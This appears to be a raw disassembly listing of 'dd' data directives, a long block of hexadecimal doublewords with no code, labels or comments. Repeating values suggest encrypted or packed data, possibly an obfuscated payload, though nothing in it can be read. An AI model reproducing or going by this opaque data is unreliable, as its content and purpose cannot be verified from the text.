		dd 2232188Fh, 44704166h, 16781DCBh, 0A22660F9h,	0F80958BBh
		dd 0EF059369h, 6052EA99h, 44321577h, 0AD3DECE9h, 7D252E14h
		dd 0A26E00CCh, 0FF00C170h, 73534A62h, 4547EDFh,	0D1F9142Bh
		dd 0AFB3EE4Fh, 6F27730Dh, 15DE969Fh, 301611EFh,	44321560h
		dd 2D6AD64Fh, 113214E0h, 2554EC66h, 0B899739Fh,	0A96A4636h
		dd 0D5B3317Ah, 88321562h, 54DBBE93h, 32321566h,	32097BFBh
		dd 0AD9E1A66h, 39C888A2h, 2D666DF2h, 11321DE3h,	8AB81A66h
		dd 24321566h, 268D4207h, 10321566h, 0AC0E9E98h,	4436D1E7h
		dd 0CBC71566h, 11321561h, 0DFA4848Ah, 0CD0B8E2Fh, 0CB52315Ah
		dd 1132156Ah, 3C3C2CD0h, 0E1C1DA81h, 0C637F575h, 70C59E00h
		dd 0AC469C93h, 4439FC6Ah, 94161566h, 0E9AEDF3Eh, 3866718h
		dd 21879C85h, 2D34B34Dh, 113219EBh, 8EB01A66h, 4B321566h
		dd 223215E1h, 350E9E66h, 9D19C35h, 443211A5h, 26F19466h
		dd 96321566h, 746E317Ah, 1F162199h, 2236D1E7h, 1E521566h
		dd 954C7D9h, 25140897h,	0E5B37306h, 9A53AE44h, 161316Ah
		dd 40F19485h, 0A1321566h, 0DB511A5h, 3CA4942h, 0CD613152h
		dd 26F19485h, 92321566h, 94B511A5h, 0C5524942h,	116FB2ADh
		dd 70F89E66h, 9D19C35h,	443211A5h, 268D4266h, 10321566h
		dd 94B54A9Dh, 0CE524942h, 2235FC81h, 7CA21566h,	0A01C159Ah
		dd 23DB74C7h, 0CBCDEAB9h, 11321574h, 57D2B81Bh,	906726DAh
		dd 0E0663DADh, 8DEF3AC5h, 4FC78613h, 0E9905EE3h, 22321760h
		dd 0DEB97566h, 38B8B5DDh, 0CF647406h, 0E6B1317Ah, 10B21A62h
		dd 71321566h, 4B3CA369h, 223212E4h, 10BA1A66h, 7D321566h
		dd 4BB2ECE6h, 22327EE5h, 1134FC66h, 92D1566h, 0CBD8540Fh
		dd 2E44D6E7h, 0DA334E03h, 8444AF34h, 971B4E03h,	25B01A3Ch
		dd 1E321566h, 883214ECh, 0FE60ED66h, 22321567h,	0F868C667h
		dd 88321561h, 3349FF93h, 2D3AC9EFh, 113207E6h, 8FDB7566h
		dd 0D321566h, 5DE4D5Eh,	0AF5480C7h, 6153DE28h, 443215FBh
		dd 22389769h, 14DB1566h, 5A321566h, 24DB89F7h, 0E20CA235h
		dd 41541D89h, 4F02EAD6h, 0BD1A4D00h, 2AB31A3Dh,	1E321566h
		dd 883217E4h, 0B8537566h, 0F1C5CCE1h, 7173CCE1h, 88321E8Eh
		dd 46A12466h, 1BDCF865h, 0C3BD7AF0h, 87684B37h,	0B853C5D1h
		dd 221D0E0Eh, 35069C66h
		dd 936E87D8h, 78C49404h, 0A34A0052h, 1F5A4490h,	0D6C3347Ch
		dd 44339B69h, 72C71566h, 0D60F3CDEh, 97ED205Ah,	8733638Ch
		dd 0A3F93C3Eh, 3C10E38Dh, 883DFC2Ch, 28941566h,	0F07FDF6Dh
		dd 94999EBAh, 147A6BE8h, 2DB79E90h, 0CB34B370h,	11321568h
		dd 0C4F3F5C9h, 9636A2DEh, 5C2E446Bh, 84B92CA8h,	8E9411D7h
		dd 44321B8Fh, 0A82E0866h, 0BF5D5A57h, 69D093EAh, 0C7978295h
		dd 840140DBh, 953D1460h, 88321150h, 44339569h, 1BC71566h
		dd 36B01AA5h, 87321562h, 443214E2h, 0F10BEC66h,	0EA159769h
		dd 8FDBEA99h, 2321566h,	71A36657h, 16DB9AA3h, 0E8321562h
		dd 0AFE99400h, 0ECB373C7h, 0D653ADA0h, 25905EE3h, 44321760h
		dd 70897566h, 9A4187AAh, 305A74ACh, 0CD321503h,	16B33152h
		dd 8127642h, 7BB34E08h,	2A2B3505h, 2C841A9Ah, 11321D8Fh
		dd 0CAFDC566h, 0FB583328h, 0A2CB9534h, 11599669h, 9BDB1566h
		dd 0A4321566h, 3F83BC30h, 6A6C7292h, 28DD5F3Dh,	866EF8FFh
		dd 0E1B3C63Dh, 1C721DC2h, 0D5FAD6E7h, 8F3376DAh, 7FFAFEE7h
		dd 0FAB376DAh, 85721DC2h, 443CFC9Ah, 1CAA1566h,	0D6812DDCh
		dd 0E89AA056h, 0AE51A3D7h, 0DDCDAC37h, 0DA1BEA99h, 8835FC3Fh
		dd 0A6B11566h, 0C15A1A9Ah, 11B6FC4Ch, 8DDB1566h, 0D9321566h
		dd 22112E08h, 0D786459Ah, 76A9A334h, 0D9F495A0h, 0D4FCE3E6h
		dd 0C9F495B8h, 868E166h, 88B2ABA2h, 8CF69515h, 9134F9A6h
		dd 691AEAA2h, 0ADB1E93Eh, 0DAE3E267h, 0E35A4530h, 0D027617Ch
		dd 960F5D53h, 4893821h,	0D7BB47C0h, 0D6C3343Eh,	5DF1949Fh
		dd 0A33F6B35h, 0EB6FF7A5h, 9F93C4Ah, 0BE6FF78Dh, 3BD9944Ah
		dd 1E3F6B35h, 883212EFh, 0CF547566h, 4397A394h,	0F400AB06h
		dd 43B200B9h, 0C1B97467h, 2494030Fh, 1132138Fh,	0B0B83866h
		dd 0CFA66F85h, 8436A4F3h, 113DFC60h, 0B51A1566h, 6C668BB7h
		dd 0EB7095F1h, 0D77767CFh, 0DD8F9637h, 4534B355h, 20AE9169h
		dd 9D3D1566h, 88321577h, 4432198Fh, 0CA1D5D66h,	1C4E7CB4h
		dd 87B4B6ADh, 4BEA2E34h, 223239E4h, 1120FC66h, 50B81566h
		dd 65E30347h, 4E00222Bh, 0CFEF0491h, 0FAD35C1h,	0C23DC65Fh
		dd 0DDCDEC0Bh, 1135FC9Fh, 0A1B61566h, 7E364AF0h, 238B444Eh
		dd 38321566h, 33D4CA8h,	44321577h, 22399869h, 17DB1566h
		dd 43321566h, 0E1ACE551h, 2237FCB6h, 0C2651566h, 0EE7C4A66h
		dd 173DA734h, 0DABAC2EEh, 1E68733Dh, 88321FEBh,	0A6877566h
		dd 22329969h, 0BB531566h, 8835FC06h, 43151566h,	7FF19907h
		dd 1139FC11h, 880D1566h, 20DC8B6Dh, 8BB85160h, 0AB60741Bh
		dd 88321566h, 4C9FFFE7h, 0D0331122h, 199FD7E7h,	82B81122h
		dd 0F163E93Ch, 0A9FF95B9h, 0E4B2D098h, 0D8FFEB16h, 6E1E2CD6h
		dd 0AA6AD04Eh, 0A0524C8Eh, 8BB81ABEh, 22321566h, 4453C5EDh
		dd 77149A0Eh, 3A1601EFh, 22E33569h, 2222FC3Ch, 77CE1566h
		dd 69568A21h, 53860FBh,	375F1E63h, 0D93ADDE3h, 8832058Fh
		dd 0EB093F66h, 0AA680E14h, 8FBB6C96h, 0B498487Ah, 0AD52BF1Bh
		dd 22321572h, 0BD69DA8h, 838E8262h, 94AACE9Ch, 3DF50D7Ch
		dd 0FDC024F1h, 28D29400h, 0C03D7481h, 22321571h, 113FFD06h
		dd 0F2241566h, 5D3352Fh, 838A9354h, 4923C2A6h, 9534E34h
		dd 7C0EACA5h, 0D2D99409h, 380EBA03h, 78F1949Dh,	0C50EBA03h
		dd 1A0EAC8Dh, 4062E009h, 9729FA0Eh, 9DC54C6Dh, 0A336FCA7h
		dd 0A0C3D6A7h, 0D1FA9C96h, 0AD6AD64Fh, 22321574h, 245B28D6h
		dd 5A402B3h, 0F85DD818h, 88C914C5h, 4262E14Ch, 91611EDh
		dd 443211A2h, 0DBCE4E66h, 113FFCCDh, 0ABD01566h, 5B5FD03Fh
		dd 76092C9Bh, 794BFC91h, 8832149Ah, 0FD1619EFh,	22321564h
		dd 716BDB67h, 0EDD018DFh, 25C0A66Ah, 957A0EFh, 0D6CE13C0h
		dd 2E0140E3h, 44321460h, 7664E066h, 15F49438h, 0B321566h
		dd 70B511A0h, 0A23D4942h, 11321567h, 0AC2E9E9Ah, 0C5D59C31h
		dd 223211A1h, 15F59466h, 0F321566h, 4B6E315Ah, 223214E9h
		dd 1DB9EC66h, 69BB4442h, 4436D4E7h, 0E3B31566h,	11321562h
		dd 0D41619E1h, 44321F8Fh, 8E6F0366h, 0B1A1FAF5h, 0D8AAF87Bh
		dd 0FA64F5EFh, 22321562h, 926CE567h, 8CB511A6h,	0F2524942h
		dd 8D8A73D9h, 456474C2h, 8CF49438h, 0C7321566h,	16B511A0h
		dd 1ECE4942h, 88321DE0h, 0FFCE7566h, 55CFA897h,	0C882FC07h
		dd 0EE52EA99h, 0F210ACDFh, 986074B4h, 11321567h, 8768C34Fh
		dd 44320BE6h, 3ABB1A66h, 0F8321566h, 88321575h,	86D97E7Eh
		dd 938B7546h, 0F8E13B6Bh, 7671C36Bh, 221B0A1Fh,	0AADBA437h
		dd 1DB973AEh, 8AF69442h, 4B321566h, 22321DEDh, 13BB1A66h
		dd 0E8321566h, 16CEBF07h, 0F2BBE7EFh, 901601EDh, 883211A2h
		dd 4439FC66h, 0EE781566h, 15EC3D63h, 0D4BC06EDh, 2E8D42D3h
		dd 0B04E379h, 0E91B4A9Eh, 7E2D7F63h, 0FB3D7550h, 9D657498h
		dd 11321562h, 880F324Bh, 41CA3C01h, 45322841h, 1135FC39h
		dd 0E1C31566h, 9E261CF7h, 4299E0FCh, 0C0A7A0DDh, 50B97367h
		dd 0A6BB4707h, 2236D7E7h, 0D3B11566h, 0AC262662h, 77160157h
		dd 0CB6E3172h, 11321569h, 43987748h, 9ABED350h,	952AFFA6h
		dd 0EEF57E82h, 0B693152h, 0CFCB11A2h, 0AB62316Ah, 11361086h
		dd 48B11566h, 60369262h, 0A354753Ah, 775C38A5h,	353DAEDh
		dd 0CD603152h, 26F09484h, 90321566h, 883211A4h,	60269266h
		dd 0AB62E03Ah, 11361086h, 32601566h, 44321562h,	0A568C567h
		dd 0E46E3162h, 77E9DD8Fh, 4CB01A99h, 2D321566h,	113217E8h
		dd 4F537566h, 0E9905EE3h, 22321060h, 4762E066h,	0D0F19C3Eh
		dd 4435FD06h, 964C1566h, 0DDAD4A71h, 0BE194AEh,	1F41114Ch
		dd 0C69AB00h, 0AC674707h, 0D2797C55h, 0A9B3C091h, 18C31A99h
		dd 5DB5F0E7h, 4DB309B3h, 0B30CEE19h, 236FFFEFh,	2DB4FB5h
		dd 87321566h, 6B7523CCh, 456BB077h, 9BD7354Bh, 9DD25606h
		dd 0FE60A4BCh, 22321566h, 0B31E767h, 91601EDh, 443211A2h
		dd 23BF1A66h, 0E8321566h, 9E5B90EDh, 0C83D13C0h, 2232157Ah
		dd 11249669h, 99DB1566h, 4E321566h, 0D6EF0294h,	36FA73C1h
		dd 77980BABh, 0A84E87ECh, 223E9C69h, 953D1566h,	88321560h
		dd 44329469h, 0B7B91566h, 179411D7h, 87FAA306h,	443211EDh
		dd 0D3897366h, 0A9627495h, 77CDEA99h, 4B6AD367h, 223205E7h
		dd 1BB01A66h, 61321566h, 44321563h, 1F57E9A6h, 1135FCAAh
		dd 4CCB1566h, 5CDE2E97h, 0E38F967Fh, 1034B356h,	8DB69169h
		dd 0BD521566h, 0CB3FA706h, 11321561h, 8DB49C97h, 25E5646Ch
		dd 2DEA2E07h, 113234E4h, 89BF1A66h, 0B8321566h,	0A43DCF5Dh
		dd 11321453h, 8AB91A06h, 16321566h, 20BA1A3Dh, 46321566h
		dd 3DBB743Dh, 42943E03h, 2232108Fh, 45D14766h, 15B9BEF9h
		dd 429FB72Dh, 223AFC06h, 9EE21566h, 8F9CAD4Bh, 1653FDE8h
		dd 0C575B1DCh, 35663C01h, 0D4334F76h, 0B31942h,	65961942h
		dd 0AE527281h, 0C112F6B9h, 25FA9E00h, 2232188Fh, 0C5B06966h
		dd 0D40FC68h, 499D89C9h, 0C9DB912Ah, 1E321562h,	883211E5h
		dd 93B97566h, 606EA07h,	15F69439h, 0E8321566h, 83534F30h
		dd 8402D4E3h, 11321460h, 82DA7566h, 51321566h, 6B86DDCBh
		dd 6740F5CCh, 88BB1AE1h, 1F321566h, 7C2046DFh, 25CD7423h
		dd 4CB34E42h, 44321562h, 2232048Fh, 0FF2C3C66h,	0D477E582h
		dd 0DD7EC55Ch, 9E78E397h, 25CD62AAh, 4CB14C42h,	50B71A62h
		dd 2D321566h, 11321BE9h
		dd 883BFC66h, 0D8B01566h, 20D62556h, 0EE71BD38h, 96C3152h
		dd 443211A2h, 0BB5AEC66h, 98321548h, 68BB3162h,	44321163h
		dd 26F29666h, 4D1611E1h, 88269D69h, 4BDB1566h, 0BB321566h
		dd 0E4575141h, 4D6567D5h, 4D13A0FDh, 31DBA962h,	71CDEAB0h
		dd 0E9CBCBEDh, 118F969Ah, 2334B355h, 152A9169h,	0A3C71566h
		dd 0E2247CFBh, 2ADB7560h, 35321566h, 0CE2373Bh,	25080821h
		dd 279398EDh, 1FDB13C0h, 7A321566h, 0FA463A62h,	28153AABh
		dd 0C80FF5FDh, 0C288475Fh, 662EB3Fh, 43FAD7E7h,	0FBB320D0h
		dd 0B8477AE3h, 0A6D89424h, 0A36CDC5Bh, 0BA314694h, 0D2E33CD0h
		dd 85B3CC67h, 63EF1B98h, 113E9769h, 83D1566h, 44321560h
		dd 22329569h, 0F8B31566h, 96B51979h, 0FE60EC4Fh, 33F801FBh
		dd 7AB4F7E7h, 7F7800CEh, 0B6B35FBCh, 0D2C2E605h, 0E868C467h
		dd 8837AA31h, 0ADB31566h, 4DF760DEh, 0D0B3EC4Fh, 0E7F760DEh
		dd 0D882E039h, 0F91EC590h, 0EF30FDA6h, 48EE39AEh, 0A906118Eh
		dd 2232128Fh, 7AA6B366h, 98ECC971h, 443BFCCCh, 74881566h
		dd 0DF996B25h, 93889FAh, 4432118Ah, 6369C66h, 0F86B4D37h
		dd 8832156Fh, 7ABBCC8Bh, 0CFEFD35Fh, 7199ED3Eh,	883BFC93h
		dd 70281566h, 311AF5A6h, 70165253h, 96B4137h, 443211A7h
		dd 26F39666h, 4D1619E1h, 0EEF19E06h, 0BE8DC6E7h, 62E9E07h
		dd 90D79C33h, 883211A3h, 40F79466h, 0A5321566h,	0F86E314Ah
		dd 88321569h, 6D212966h, 0EE60FE7Dh, 5B2A324Bh,	36620E8h
		dd 0CD60316Ah, 26F09484h, 90321566h, 883211A4h,	60269266h
		dd 23BD1A3Ah, 0E8321566h, 0DD1621EDh, 81B3F0EFh, 22321562h
		dd 1136D0E7h, 0A4B51566h, 0C93D4942h, 22321567h, 1B41A9Fh
		dd 61321566h, 4432156Dh, 0C8240D85h, 0BB9A2AF8h, 0DF235DBFh
		dd 83B34A32h, 22321562h, 9636D2E5h, 0E86E315Ah,	0C5544C37h
		dd 431362A0h, 0EEE5898Fh, 883DFC99h, 198F1566h,	2A72AE7h
		dd 6A98271Bh, 3823B551h, 0FB7D227h, 2034B8C4h, 1E321566h
		dd 883213E6h, 1A607566h, 7253C5ECh, 0D2BBE5EFh,	0B1611EDh
		dd 4BCA11A2h, 0CBCB1BD0h, 11321576h, 147B7B5Dh,	0F0942747h
		dd 846A4739h, 7FE17054h, 87B2ECE6h, 443225E5h, 0C9B3E066h
		dd 2DB144F7h, 3260DE67h, 11CD6E5Eh, 89BE7E7h, 0C2337C1Ah
		dd 3260ED3Ch, 44321567h, 0DA68C667h, 1132778Fh,	373D7566h
		dd 99FA95BEh, 0A1814607h, 9137FEA6h, 511A108Dh,	0C51609EDh
		dd 223211A2h, 0C2B97566h, 0E9F3AA69h, 0B37FFCE1h, 0D7DB92B3h
		dd 9836F9E5h, 778D315Ah, 65321566h, 0CB524A9Fh,	11321560h
		dd 38E1125Fh, 25C7CAD5h, 27EAD6E7h, 0DA1B77C9h,	8DEAAC37h
		dd 8F1B77C9h, 2237FC3Fh, 65371566h, 3574E3Ah, 0E2247CE3h
		dd 0B7B9E060h, 179411D7h, 8832138Fh, 7F677D66h,	0CBA574A6h
		dd 0EECDEEC8h, 0C3B7D29Ah, 4634B8C4h, 42321566h, 71E0A269h
		dd 45B27406h, 1253742Ah, 4419AD36h, 55330429h, 0D36A1142h
		dd 2219FEE7h, 2DCB0429h, 91CE1BD0h, 0B3D959Fh, 44321504h
		dd 2238FC06h, 0F2C71566h, 3C793A47h, 15B32284h,	54887331h
		dd 90534E20h, 1F398CA5h, 4CD99421h, 2312964Fh, 19F194ADh
		dd 912964Fh, 0D3398C8Dh, 23B31A21h, 0E4321566h,	0B975EEE1h
		dd 75ED249Dh, 2EBB1A9Dh, 1E321566h, 883213EBh, 44BB1A66h
		dd 0CB321566h, 11321533h, 9C19E06h, 48ACAC85h, 91617415h
		dd 0EFE1E335h, 8CD9D5A5h, 6CC7E6E6h, 0A5CA4EBFh, 96E0E2B7h
		dd 0E0CB54B7h, 44320129h, 981601EFh, 11321599h,	8768C447h
		dd 443214EDh, 0E1B3ED66h, 189404B1h, 0F9B3FEE7h, 8F1B12EAh
		dd 53B3D6E7h, 0FAB312EAh, 819404B1h, 2DB79E93h,	0DA34B370h
		dd 158380EDh, 0BCB13C0h, 0E20140DBh, 0A63D1460h, 0EECDEDCCh
		dd 882F9F69h, 0C23D1566h, 22321571h, 1132078Fh,	0FE7FB366h
		dd 73CCCC4Eh, 153FA54Bh, 0CA4CE614h, 0B329653Ah, 71B01ABEh
		dd 0CB321566h, 11321577h, 0ED8FF76Ch, 59CF4EB2h, 0D7F4340Eh
		dd 9DA16EB0h, 82BC1A13h, 24321566h, 47C39400h, 0C2B973A0h
		dd 87E12C07h, 0BBDD75E0h, 0EC8D7599h, 7049A4B6h, 8833AD36h
		dd 821B1566h, 0F55AEC3Eh, 9832155Fh, 0E86B3152h, 638DAA00h
		dd 43FD9E00h, 2F58A833h, 65B37036h, 0B50E0C5Bh,	0B6FFC67h
		dd 3CDB949Fh, 87460143h, 443206E8h, 223CFC66h, 0E7EF1566h
		dd 334A14A8h, 0CD29C26Ch, 1A882BFEh, 11359469h,	0D3D1566h
		dd 44321567h, 278F409Eh, 90321566h, 0C46908Fh, 0C5DB3C0Fh
		dd 0A64690A7h, 1BDB480Fh, 0B321566h, 0A5AFA0D9h, 654819F2h
		dd 0F8854685h, 94B9EDEEh, 40F69642h, 2232018Fh,	0DAB4C266h
		dd 0A4AE2B44h, 0D7E86AB7h, 9DCD109Bh, 0F04DEB37h, 0B9C7BF80h
		dd 75F324AEh, 33B11AAEh, 0F8321566h, 8832156Ah,	8CE5A4E5h
		dd 38CB8598h, 0E0ADEF61h, 72B875CDh, 36DB7493h,	0CBCDEAB2h
		dd 11321574h, 1A9705C5h, 752454BBh, 0B6BF31C5h,	77F96FEEh
		dd 64B117B2h, 60269C62h, 223215DCh, 9BC01466h, 60524F64h
		dd 44321576h, 14D37A0Eh, 618E3BEAh, 943057DDh, 0DECADDE7h
		dd 2232078Eh, 3CA5BE66h, 12502BF6h, 0BC519967h,	0D5B06409h
		dd 4997EBB1h, 528D1A3Eh, 4BDA2907h, 22325AE2h, 7961E066h
		dd 0CEB904DAh, 0F8C1943Dh, 0AB749E77h, 352E9EBEh, 8836D1E7h
		dd 0AD521566h, 2232156Ch, 0A565CE0h, 5F636362h,	0A9B28E0Eh
		dd 0F0DB744Bh, 1E321567h, 883202EDh, 4420FC66h,	54651566h
		dd 0E56AA5F4h, 0B2FA9616h, 0E71866D2h, 0F4303931h, 1145EE0Eh
		dd 0AC2E9C66h, 4432058Fh, 5095C566h, 3750C7E5h,	21023E50h
		dd 9B7F4CFDh, 0D2BB45A5h, 351E9436h, 0FD6E6082h, 0A0F1943Dh
		dd 7A474913h, 0A63DE006h, 31637498h, 44321567h,	32EEFCE7h
		dd 0E0332FDBh, 98EED4E7h, 5D312FDBh, 3CB81A3Fh,	71321566h
		dd 8832078Fh, 3726E566h, 1F479BECh, 3FF3A73Ah, 9235EFB9h
		dd 0FBADB5A3h, 6EA093ACh, 148C4307h, 9321566h, 390748A5h
		dd 0A3C11430h, 6C07488Dh, 9CDB4B30h, 7C321566h,	6D698B88h
		dd 0DD42C20Fh, 0BF55462Dh, 0D32ADF0Ah, 70A41916h, 99DAA437h
		dd 58BA4CACh, 4426FC3Ch, 19951566h, 8C7F426Ch, 16EB9D6Fh
		dd 0A6E5EE4Ah, 81D07DEEh, 1E529C69h, 883217EDh,	4B537566h
		dd 8853E6D1h, 8BC1A06h,	61321566h, 44321572h, 80E78B06h
		dd 3A80881h, 21E4165Bh,	0EDA63957h, 0C6651EF1h,	11321F8Fh
		dd 8110F966h, 3BE444E1h, 43CDE62Fh, 2378FEE7h, 4BB343C0h
		dd 3DC6120Fh, 0C9B3EE4Fh, 68C6120Fh, 0BA78D6E7h, 0C93D43C0h
		dd 22321574h, 1132188Fh, 46A93D66h, 544CB3EAh, 770AA9D0h
		dd 42645EADh, 883211DDh, 1FEC9C66h, 0DE6CE64Fh,	1DA4606h
		dd 29321566h, 37BE64F7h, 0A4BBE4E4h, 0C6431F63h, 0D67352EEh
		dd 9C03743Eh, 0FA03D657h, 14DBBE9Eh, 0B7321566h, 0D8A7C6BCh
		dd 741609EDh, 0D7B3F3EFh, 88321562h, 4436D3E7h,	16B51566h
		dd 2DB4942h, 0F2321566h, 1C39DF77h, 3193686Fh, 95000A1Ah
		dd 56426CFFh, 0FB65C2BAh, 22321563h, 2DB9EB67h,	8CF69642h
		dd 44337D9Eh, 26B91566h, 15F69642h, 3652D69Fh, 3331365Ch
		dd 29DB7507h, 0AD321566h, 93B2130Eh, 51B17ED6h,	0AD3DBD1Dh
		dd 11321560h, 88329169h, 2C531566h, 223270B1h, 0ED1619EFh
		dd 0EE04EA00h, 0C71611EDh, 0CA5217A2h, 11321575h, 0A9A125Eh
		dd 0C5F1852Eh, 477D1243h, 0B72A4608h, 60189914h, 4432156Eh
		dd 0ADC0F30h, 29E3FA07h
		dd 9ADA4B3Fh, 0B7321566h, 0E6FF5025h, 0C40DD4E3h, 0AEF3EFAFh
		dd 0C667FC0Dh, 22B91A95h, 4B321566h, 87F12907h,	443374E2h
		dd 0CBCB7566h, 11321572h, 27E7083Eh, 24F3398Ah,	0D47B2D76h
		dd 0F1A425F4h, 73DCEAC8h, 4EBE1A07h, 42321566h,	0E9ACBE7h
		dd 0D1604796h, 4BF92907h, 223338E2h, 0F9627566h, 88321561h
		dd 0F1A9D031h, 7B361C47h, 28F3953Dh, 87F02907h,	443377E2h
		dd 2239FC66h, 66011566h, 51EAC757h, 725137A8h, 2DF82928h
		dd 11335FE2h, 9BDBED66h, 8B321566h, 58FC3486h, 8C9788B7h
		dd 4609BE77h, 3F7F288Ah, 1F5420C6h, 953D3099h, 88321436h
		dd 6A0F739Eh, 58B71A99h, 1E321566h, 883214EEh, 0C83DEC66h
		dd 2232156Ah, 1132128Fh, 22197566h, 0A3B3601Ch,	2230AC37h
		dd 0E0331566h, 8832AE35h, 8F331566h, 7B6916ECh,	1132058Fh
		dd 8B9A0B66h, 9FB73375h, 71F74A3Bh, 768545Fh, 386247A2h
		dd 444AA393h, 0CCF24DA0h, 91E4E363h, 66F228A8h,	0C4FCEB60h
		dd 0D212FBA0h, 9A54753Ch, 8835FDACh, 4B2A1566h,	8B65E3D2h
		dd 7068E006h, 0C3DB55Ah, 4432159Ah, 606EA9Ah, 15F6943Fh
		dd 0E8321566h, 4432048Fh, 87C6BE66h, 0A4455228h, 0DAE84903h
		dd 271EF323h, 0CBB3243Eh, 6B7EFB9h, 0D0884707h,	8546BB53h
		dd 0C8B31284h, 4628B966h, 9CB9C5EFh, 40F69642h,	26B91A06h
		dd 77321566h, 0E92A17DCh, 4433718Fh, 0EB03ED66h, 13BB1A06h
		dd 0E8321566h, 0FF617407h, 0DDCDEA99h, 0F869CC4Fh, 8832156Ah
		dd 0F12A8DF5h, 112625E6h, 523BD3CBh, 88249069h,	0AD521566h
		dd 22321569h, 79BD7000h, 512FE105h, 237748BFh, 43F8076Fh
		dd 11329F8Fh, 5BB27566h, 9EB37324h, 7253F27Bh, 7E39F30Eh
		dd 7F624D22h, 416A3172h, 665D1E8Ch, 0E46AD4EFh,	8832738Fh
		dd 4DBA1A66h, 42321566h, 90547406h, 0E9C0C5BDh,	4434AB30h
		dd 7B641566h, 113DFC38h, 773B1566h, 7C28E5F5h, 0C104EF5h
		dd 9590F59Ch, 8807FCEFh, 0C53D1566h, 2232156Eh,	11309869h
		dd 0E9521566h, 66DDAB30h, 0ECB34806h, 5D2501D1h, 6EB3C391h
		dd 1A5172BCh, 10AFFBE7h, 0FFB17ED6h, 0D5DC9499h, 0CDA44568h
		dd 0D1CB4B97h, 0CBB375C2h, 0E6D4F749h, 61EC9400h, 0AFB97451h
		dd 179411D7h, 88339369h, 0C1C71566h, 34B71AAFh,	0E4321566h
		dd 8C83A0EFh, 4EDB13C0h, 0D6321566h, 4E117D29h,	0A4B90A6Dh
		dd 6006EA30h, 26F6963Fh, 112D9969h, 0D3D1566h, 4432157Fh
		dd 2232018Fh, 0E9452166h, 0DD770EF5h, 0B5C0C130h, 0EBBDB9FFh
		dd 0E38160DAh, 88337D60h, 40B91566h, 26F69442h,	1E321566h
		dd 88320DEEh, 4421FC66h, 863E1566h, 0F19E49F1h,	96B41502h
		dd 0BF3ED6CBh, 5F744391h, 5DBD6AEh, 0BD321566h,	646E7EADh
		dd 1E93495Ch, 99D96C44h, 1ADB7BFDh, 0AD8A75BFh,	22321574h
		dd 3B50BB4Bh, 708AA29Ah, 0F2B6840Ch, 8638031Eh,	0EE54A563h
		dd 0EE657350h, 226D82D9h, 2016694Fh, 49544A00h,	0D7A51000h
		dd 44219169h, 42521566h, 113BFD07h, 57C91566h, 552A6107h
		dd 7BC1DBBEh, 1EF12907h, 88338EE2h, 0CC63EC66h,	0A9F99DA7h
		dd 0D5B3316Ah, 88321562h, 0D28B7306h, 0AA3D75BBh, 11321566h
		dd 8832128Eh, 5A303166h, 0E58FF1D7h, 4153743Ch,	48CCE4D6h
		dd 8712EB62h, 0A11611EDh, 775211A2h, 853ECEDh, 0C03D659Dh
		dd 223216A2h, 11321A8Fh, 2BAD166h, 4D2BD53h, 53603B6Ch
		dd 1FD38269h, 0C3DFC5Ah, 4432145Eh, 22339B69h, 2DCA1566h
		dd 0A1B61A8Dh, 0AD321567h, 22321561h, 768E0687h, 0B4A19A70h
		dd 51B61AA4h, 2D321567h, 11321FE4h, 8837FC66h, 0DE331566h
		dd 1E12EF08h, 0ECB61AADh, 0E8321566h, 8CF09400h, 35EC9544h
		dd 113AFC07h, 0FEAC1566h, 8171661Dh, 1F54D2D9h,	953D3099h
		dd 883215BAh, 4432138Fh, 0BF0FA966h, 2DF9789Fh,	41B61AACh
		dd 0AD321566h, 2232156Bh, 0CCBF1AA1h, 14EA0AC4h, 4DF3F200h
		dd 2DD12982h, 11310AE2h, 883EFC66h, 60EA1566h, 55673986h
		dd 0AE1FE1D5h, 0B55404D9h, 0C13DEA48h, 2232153Dh, 11321A8Fh
		dd 7ED59066h, 0EAA0A9D6h, 67D50F3Fh, 0BA12265Fh, 8830AF34h
		dd 0B6331566h, 2232AE35h, 0C2331566h, 0D26916ECh, 443C9E69h
		dd 2BDB1566h, 5B321566h, 0F5839CA4h, 8A53ECBFh,	94604400h
		dd 4BC39D96h, 0D154DD46h, 4B92299Fh, 223256E2h,	1137FC66h
		dd 0A8711566h, 2CA06C3Dh, 22321566h, 921611EDh,	0E8CA11A2h
		dd 0FE537506h, 42DF86FFh, 113BFC07h, 46611566h,	4FE21A12h
		dd 43BC5828h, 1132738Fh, 3D527566h, 0FA527422h,	2ADE2FD9h
		dd 70534D36h, 8C83A0EFh, 0C9CA13C0h, 8E95D3FBh,	10B81A60h
		dd 74321566h, 57DBC699h, 31321566h, 95C629B5h, 0AA44320Dh
		dd 46AE01DDh, 5DE87680h, 408A0FCBh, 0DB59E758h,	0B60C45DDh
		dd 79EA240Dh, 11279A69h, 98DB1566h, 67321566h, 54A456h
		dd 0FBB33BADh, 46929B29h, 87C218EDh, 0C4BB4393h, 1136D3E7h
		dd 66B11566h, 60069262h, 6369C3Ah, 11339A69h, 77CE1566h
		dd 40B90510h, 26F69642h, 9853E906h, 2E2D50E3h, 0FA547560h
		dd 0FBB9B78Bh, 1123FC07h, 5BB61566h, 0BD34D679h, 5FF61066h
		dd 92899A28h, 398E443h,	0CD603162h, 26F09484h, 90321566h
		dd 883211A4h, 60269266h, 3BBD1A3Ah, 0F8321566h,	88321572h
		dd 38947F41h, 0E1758F46h, 4A1F8DC8h, 39794F12h,	215811E9h
		dd 222EAA31h, 0EF331566h, 0B1629EDh, 0C9CA11A2h, 843C58DBh
		dd 10BC1A60h, 74321566h, 4421FCCBh, 0A7111566h,	0A0969390h
		dd 0E2B451D4h, 0EC930579h, 5AB339CAh, 0D08F405Dh, 89071443h
		dd 31488Eh, 0E31F3142h,	1E071443h, 88321AE7h, 4438FC66h
		dd 0DF5B1566h, 3686DBF5h, 753DA29Fh, 0C55475CDh, 0A21220B4h
		dd 9C531FBDh, 2E0138DBh, 5CB41A60h, 42321566h, 11321B8Fh
		dd 73603D66h, 9D9784EBh, 0E833A537h, 91DD677Dh,	25536EAEh
		dd 0B4B37306h, 0F53A77Bh, 5B1E7ECEh, 8767D74Bh,	60761616h
		dd 77F01042h, 0B9376569h, 8778390Dh, 44320DEAh,	2221FC66h
		dd 39A01566h, 0E8F44773h, 2C327389h, 378A5F4Ch,	0CF838D44h
		dd 0E7D17D35h, 40BB1566h, 2239FC42h, 0FF221566h, 232A2B60h
		dd 427299F6h, 36DBBE4Eh, 6B321566h, 0A8B8B0DEh,	0D5BD913Eh
		dd 607CF351h, 1DE26FF1h, 0E8A3BC10h, 0B4B37334h, 2D6DA4DEh
		dd 9C53DBD9h, 2E19E8DBh, 249FED60h, 21B21A9Eh, 1E321566h
